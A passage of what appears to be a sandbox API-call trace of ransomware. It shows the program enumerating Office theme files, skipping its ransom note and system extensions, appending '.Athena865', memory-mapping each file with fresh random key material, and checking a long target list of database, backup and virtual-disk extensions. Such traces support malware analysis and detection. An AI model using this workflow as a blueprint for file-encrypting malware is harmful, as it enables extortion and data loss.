dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0137.244] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=582401) returned 1 [0137.244] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ed48) returned 1 [0137.244] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0137.245] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0137.245] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x8e610, lpName=0x0) returned 0x17c [0137.247] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x8e610) returned 0x2bb0000 [0137.267] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ed48) returned 1 [0137.268] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0137.268] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0137.276] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21692700, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5ba4760, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x21692700, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x8059, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Opulent.eftx", cAlternateFileName="OPULEN~1.EFT")) returned 1 [0137.276] lstrcmpiW (lpString1="Opulent.eftx", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0137.276] lstrcmpiW (lpString1="Opulent.eftx", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0137.276] lstrcpyW (in: lpString1=0x241e8ce, lpString2="Opulent.eftx" | out: lpString1="Opulent.eftx") returned="Opulent.eftx" [0137.276] lstrlenW (lpString="Opulent.eftx") returned 12 [0137.276] lstrlenW (lpString="Athena865") returned 9 [0137.276] lstrcmpiW (lpString1="lent.eftx", lpString2="Athena865") returned 1 [0137.276] lstrlenW (lpString=".dll") returned 4 [0137.276] lstrcmpiW (lpString1="Opulent.eftx", lpString2=".dll") returned 1 [0137.276] lstrlenW (lpString=".lnk") returned 4 [0137.276] lstrcmpiW (lpString1="Opulent.eftx", lpString2=".lnk") returned 1 [0137.276] lstrlenW (lpString=".ini") returned 4 [0137.276] lstrcmpiW (lpString1="Opulent.eftx", lpString2=".ini") returned 1 [0137.276] lstrlenW (lpString=".sys") returned 4 [0137.276] lstrcmpiW (lpString1="Opulent.eftx", lpString2=".sys") returned 1 [0137.276] lstrlenW (lpString="Opulent.eftx") returned 12 [0137.276] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Opulent.eftx.Athena865") returned 89 [0137.276] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Opulent.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\opulent.eftx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Opulent.eftx.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\opulent.eftx.athena865"), dwFlags=0x1) returned 1 [0137.278] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Opulent.eftx.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\opulent.eftx.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0137.278] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=32857) returned 1 [0137.278] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ed48) returned 1 [0137.278] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0137.279] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0137.279] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x8360, lpName=0x0) returned 0x17c [0137.280] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x8360) returned 0x100000 [0137.282] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ed48) returned 1 [0137.283] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0137.283] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0137.284] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24fcae00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5bca8c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x24fcae00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0xa8b9, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Oriel.eftx", cAlternateFileName="ORIEL~1.EFT")) returned 1 [0137.284] lstrcmpiW (lpString1="Oriel.eftx", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0137.284] lstrcmpiW (lpString1="Oriel.eftx", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0137.284] lstrcpyW (in: lpString1=0x241e8ce, lpString2="Oriel.eftx" | out: lpString1="Oriel.eftx") returned="Oriel.eftx" [0137.284] lstrlenW (lpString="Oriel.eftx") returned 10 [0137.284] lstrlenW (lpString="Athena865") returned 9 [0137.284] lstrcmpiW (lpString1="riel.eftx", lpString2="Athena865") returned 1 [0137.284] lstrlenW (lpString=".dll") returned 4 [0137.284] lstrcmpiW (lpString1="Oriel.eftx", lpString2=".dll") returned 1 [0137.284] lstrlenW (lpString=".lnk") returned 4 [0137.284] lstrcmpiW (lpString1="Oriel.eftx", lpString2=".lnk") returned 1 [0137.284] lstrlenW (lpString=".ini") returned 4 [0137.284] lstrcmpiW (lpString1="Oriel.eftx", lpString2=".ini") returned 1 [0137.284] lstrlenW (lpString=".sys") returned 4 [0137.284] lstrcmpiW (lpString1="Oriel.eftx", lpString2=".sys") returned 1 [0137.284] lstrlenW (lpString="Oriel.eftx") returned 10 [0137.284] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Oriel.eftx.Athena865") returned 87 [0137.284] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Oriel.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\oriel.eftx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Oriel.eftx.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\oriel.eftx.athena865"), dwFlags=0x1) returned 1 [0137.286] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Oriel.eftx.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\oriel.eftx.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0137.286] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=43193) returned 1 [0137.286] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ed48) returned 1 [0137.287] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0137.287] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0137.287] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xabc0, lpName=0x0) returned 0x17c [0137.288] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xabc0) returned 0x100000 [0137.290] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ed48) returned 1 [0137.291] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0137.291] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0137.292] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28903500, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5bca8c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x28903500, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x9fed, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Origin.eftx", cAlternateFileName="ORIGIN~1.EFT")) returned 1 [0137.292] lstrcmpiW (lpString1="Origin.eftx", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0137.292] lstrcmpiW (lpString1="Origin.eftx", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0137.292] lstrcpyW (in: lpString1=0x241e8ce, lpString2="Origin.eftx" | out: lpString1="Origin.eftx") returned="Origin.eftx" [0137.292] lstrlenW (lpString="Origin.eftx") returned 11 [0137.292] lstrlenW (lpString="Athena865") returned 9 [0137.292] lstrcmpiW (lpString1="igin.eftx", lpString2="Athena865") returned 1 [0137.292] lstrlenW (lpString=".dll") returned 4 [0137.292] lstrcmpiW (lpString1="Origin.eftx", lpString2=".dll") returned 1 [0137.292] lstrlenW (lpString=".lnk") returned 4 [0137.292] lstrcmpiW (lpString1="Origin.eftx", lpString2=".lnk") returned 1 [0137.292] lstrlenW (lpString=".ini") returned 4 [0137.292] lstrcmpiW (lpString1="Origin.eftx", lpString2=".ini") returned 1 [0137.292] lstrlenW (lpString=".sys") returned 4 [0137.292] lstrcmpiW (lpString1="Origin.eftx", lpString2=".sys") returned 1 [0137.292] lstrlenW (lpString="Origin.eftx") returned 11 [0137.293] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Origin.eftx.Athena865") returned 88 [0137.293] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Origin.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\origin.eftx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Origin.eftx.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\origin.eftx.athena865"), dwFlags=0x1) returned 1 [0137.294] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Origin.eftx.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\origin.eftx.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0137.294] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=40941) returned 1 [0137.294] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ed48) returned 1 [0137.295] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0137.295] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0137.295] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xa2f0, lpName=0x0) returned 0x17c [0137.297] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xa2f0) returned 0x100000 [0137.299] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ed48) returned 1 [0137.299] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0137.299] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0137.300] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c23bc00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5bf0a20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x2c23bc00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x37d8a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Paper.eftx", cAlternateFileName="PAPER~1.EFT")) returned 1 [0137.300] lstrcmpiW (lpString1="Paper.eftx", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0137.300] lstrcmpiW (lpString1="Paper.eftx", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0137.300] lstrcpyW (in: lpString1=0x241e8ce, lpString2="Paper.eftx" | out: lpString1="Paper.eftx") returned="Paper.eftx" [0137.300] lstrlenW (lpString="Paper.eftx") returned 10 [0137.300] lstrlenW (lpString="Athena865") returned 9 [0137.301] lstrcmpiW (lpString1="aper.eftx", lpString2="Athena865") returned -1 [0137.301] lstrlenW (lpString=".dll") returned 4 [0137.301] lstrcmpiW (lpString1="Paper.eftx", lpString2=".dll") returned 1 [0137.301] lstrlenW (lpString=".lnk") returned 4 [0137.301] lstrcmpiW (lpString1="Paper.eftx", lpString2=".lnk") returned 1 [0137.301] lstrlenW (lpString=".ini") returned 4 [0137.301] lstrcmpiW (lpString1="Paper.eftx", lpString2=".ini") returned 1 [0137.301] lstrlenW (lpString=".sys") returned 4 [0137.301] lstrcmpiW (lpString1="Paper.eftx", lpString2=".sys") returned 1 [0137.301] lstrlenW (lpString="Paper.eftx") returned 10 [0137.301] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Paper.eftx.Athena865") returned 87 [0137.301] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Paper.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\paper.eftx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Paper.eftx.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\paper.eftx.athena865"), dwFlags=0x1) returned 1 [0137.302] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Paper.eftx.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\paper.eftx.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0137.303] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=228746) returned 1 [0137.303] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ed48) returned 1 [0137.303] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0137.303] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0137.303] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x38090, lpName=0x0) returned 0x17c [0137.305] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x38090) returned 0x170000 [0137.313] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ed48) returned 1 [0137.314] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0137.314] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0137.317] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x537a8900, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5c16b80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x537a8900, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x53af, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Perspective.eftx", cAlternateFileName="PERSPE~1.EFT")) returned 1 [0137.317] lstrcmpiW (lpString1="Perspective.eftx", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0137.317] lstrcmpiW (lpString1="Perspective.eftx", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0137.317] lstrcpyW (in: lpString1=0x241e8ce, lpString2="Perspective.eftx" | out: lpString1="Perspective.eftx") returned="Perspective.eftx" [0137.317] lstrlenW (lpString="Perspective.eftx") returned 16 [0137.318] lstrlenW (lpString="Athena865") returned 9 [0137.318] lstrcmpiW (lpString1="tive.eftx", lpString2="Athena865") returned 1 [0137.318] lstrlenW (lpString=".dll") returned 4 [0137.318] lstrcmpiW (lpString1="Perspective.eftx", lpString2=".dll") returned 1 [0137.318] lstrlenW (lpString=".lnk") returned 4 [0137.318] lstrcmpiW (lpString1="Perspective.eftx", lpString2=".lnk") returned 1 [0137.318] lstrlenW (lpString=".ini") returned 4 [0137.318] lstrcmpiW (lpString1="Perspective.eftx", lpString2=".ini") returned 1 [0137.318] lstrlenW (lpString=".sys") returned 4 [0137.318] lstrcmpiW (lpString1="Perspective.eftx", lpString2=".sys") returned 1 [0137.318] lstrlenW (lpString="Perspective.eftx") returned 16 [0137.318] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Perspective.eftx.Athena865") returned 93 [0137.318] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Perspective.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\perspective.eftx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Perspective.eftx.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\perspective.eftx.athena865"), dwFlags=0x1) returned 1 [0137.320] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Perspective.eftx.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\perspective.eftx.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0137.320] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=21423) returned 1 [0137.320] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ed48) returned 1 [0137.321] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0137.321] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0137.321] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x56b0, lpName=0x0) returned 0x17c [0137.324] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x56b0) returned 0x100000 [0137.325] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ed48) returned 1 [0137.326] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0137.326] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0137.328] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x583f3d00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5c3cce0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x583f3d00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0xbef29, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Pushpin.eftx", cAlternateFileName="PUSHPI~1.EFT")) returned 1 [0137.328] lstrcmpiW (lpString1="Pushpin.eftx", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0137.328] lstrcmpiW (lpString1="Pushpin.eftx", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0137.328] lstrcpyW (in: lpString1=0x241e8ce, lpString2="Pushpin.eftx" | out: lpString1="Pushpin.eftx") returned="Pushpin.eftx" [0137.328] lstrlenW (lpString="Pushpin.eftx") returned 12 [0137.328] lstrlenW (lpString="Athena865") returned 9 [0137.329] lstrcmpiW (lpString1="hpin.eftx", lpString2="Athena865") returned 1 [0137.329] lstrlenW (lpString=".dll") returned 4 [0137.329] lstrcmpiW (lpString1="Pushpin.eftx", lpString2=".dll") returned 1 [0137.329] lstrlenW (lpString=".lnk") returned 4 [0137.329] lstrcmpiW (lpString1="Pushpin.eftx", lpString2=".lnk") returned 1 [0137.329] lstrlenW (lpString=".ini") returned 4 [0137.329] lstrcmpiW (lpString1="Pushpin.eftx", lpString2=".ini") returned 1 [0137.329] lstrlenW (lpString=".sys") returned 4 [0137.329] lstrcmpiW (lpString1="Pushpin.eftx", lpString2=".sys") returned 1 [0137.329] lstrlenW (lpString="Pushpin.eftx") returned 12 [0137.329] lstrlenW (lpString="bak") returned 3 [0137.329] lstrcmpiW (lpString1="ftx", lpString2="bak") returned 1 [0137.329] lstrlenW (lpString="ba_") returned 3 [0137.329] lstrcmpiW (lpString1="ftx", lpString2="ba_") returned 1 [0137.329] lstrlenW (lpString="dbb") returned 3 [0137.329] lstrcmpiW (lpString1="ftx", lpString2="dbb") returned 1 [0137.329] lstrlenW (lpString="vmdk") returned 4 [0137.329] lstrcmpiW (lpString1="eftx", lpString2="vmdk") returned -1 [0137.329] lstrlenW (lpString="rar") returned 3 [0137.329] lstrcmpiW (lpString1="ftx", lpString2="rar") returned -1 [0137.329] lstrlenW (lpString="zip") returned 3 [0137.329] lstrcmpiW (lpString1="ftx", lpString2="zip") returned -1 [0137.329] lstrlenW (lpString="tgz") returned 3 [0137.329] lstrcmpiW (lpString1="ftx", lpString2="tgz") returned -1 [0137.329] lstrlenW (lpString="vbox") returned 4 [0137.329] lstrcmpiW (lpString1="eftx", lpString2="vbox") returned -1 [0137.329] lstrlenW (lpString="vdi") returned 3 [0137.330] lstrcmpiW (lpString1="ftx", lpString2="vdi") returned -1 [0137.330] lstrlenW (lpString="vhd") returned 3 [0137.330] lstrcmpiW (lpString1="ftx", lpString2="vhd") returned -1 [0137.330] lstrlenW (lpString="vhdx") returned 4 [0137.330] lstrcmpiW (lpString1="eftx", lpString2="vhdx") returned -1 [0137.330] lstrlenW (lpString="avhd") returned 4 [0137.330] lstrcmpiW (lpString1="eftx", lpString2="avhd") returned 1 [0137.330] lstrlenW (lpString="db") returned 2 [0137.330] lstrcmpiW (lpString1="tx", lpString2="db") returned 1 [0137.330] lstrlenW (lpString="db2") returned 3 [0137.330] lstrcmpiW (lpString1="ftx", lpString2="db2") returned 1 [0137.330] lstrlenW (lpString="db3") returned 3 [0137.330] lstrcmpiW (lpString1="ftx", lpString2="db3") returned 1 [0137.330] lstrlenW (lpString="dbf") returned 3 [0137.330] lstrcmpiW (lpString1="ftx", lpString2="dbf") returned 1 [0137.330] lstrlenW (lpString="mdf") returned 3 [0137.330] lstrcmpiW (lpString1="ftx", lpString2="mdf") returned -1 [0137.330] lstrlenW (lpString="mdb") returned 3 [0137.330] lstrcmpiW (lpString1="ftx", lpString2="mdb") returned -1 [0137.330] lstrlenW (lpString="sql") returned 3 [0137.330] lstrcmpiW (lpString1="ftx", lpString2="sql") returned -1 [0137.330] lstrlenW (lpString="sqlite") returned 6 [0137.330] lstrcmpiW (lpString1="n.eftx", lpString2="sqlite") returned -1 [0137.330] lstrlenW (lpString="sqlite3") returned 7 [0137.330] lstrcmpiW (lpString1="in.eftx", lpString2="sqlite3") returned -1 [0137.330] lstrlenW (lpString="sqlitedb") returned 8 [0137.330] lstrcmpiW (lpString1="pin.eftx", lpString2="sqlitedb") returned -1 [0137.331] lstrlenW (lpString="xml") returned 3 [0137.331] lstrcmpiW (lpString1="ftx", lpString2="xml") returned -1 [0137.331] lstrlenW (lpString="$er") returned 3 [0137.331] lstrcmpiW (lpString1="ftx", lpString2="$er") returned 1 [0137.331] lstrlenW (lpString="4dd") returned 3 [0137.331] lstrcmpiW (lpString1="ftx", lpString2="4dd") returned 1 [0137.331] lstrlenW (lpString="4dl") returned 3 [0137.331] lstrcmpiW (lpString1="ftx", lpString2="4dl") returned 1 [0137.331] lstrlenW (lpString="^^^") returned 3 [0137.331] lstrcmpiW (lpString1="ftx", lpString2="^^^") returned 1 [0137.331] lstrlenW (lpString="abs") returned 3 [0137.331] lstrcmpiW (lpString1="ftx", lpString2="abs") returned 1 [0137.331] lstrlenW (lpString="abx") returned 3 [0137.331] lstrcmpiW (lpString1="ftx", lpString2="abx") returned 1 [0137.331] lstrlenW (lpString="accdb") returned 5 [0137.331] lstrcmpiW (lpString1=".eftx", lpString2="accdb") returned -1 [0137.331] lstrlenW (lpString="accdc") returned 5 [0137.331] lstrcmpiW (lpString1=".eftx", lpString2="accdc") returned -1 [0137.331] lstrlenW (lpString="accde") returned 5 [0137.331] lstrcmpiW (lpString1=".eftx", lpString2="accde") returned -1 [0137.331] lstrlenW (lpString="accdr") returned 5 [0137.331] lstrcmpiW (lpString1=".eftx", lpString2="accdr") returned -1 [0137.331] lstrlenW (lpString="accdt") returned 5 [0137.331] lstrcmpiW (lpString1=".eftx", lpString2="accdt") returned -1 [0137.331] lstrlenW (lpString="accdw") returned 5 [0137.331] lstrcmpiW (lpString1=".eftx", lpString2="accdw") returned -1 [0137.331] lstrlenW (lpString="accft") returned 5 [0137.332] lstrcmpiW (lpString1=".eftx", lpString2="accft") returned -1 [0137.332] lstrlenW (lpString="adb") returned 3 [0137.332] lstrcmpiW (lpString1="ftx", lpString2="adb") returned 1 [0137.332] lstrlenW (lpString="adb") returned 3 [0137.332] lstrcmpiW (lpString1="ftx", lpString2="adb") returned 1 [0137.332] lstrlenW (lpString="ade") returned 3 [0137.332] lstrcmpiW (lpString1="ftx", lpString2="ade") returned 1 [0137.332] lstrlenW (lpString="adf") returned 3 [0137.332] lstrcmpiW (lpString1="ftx", 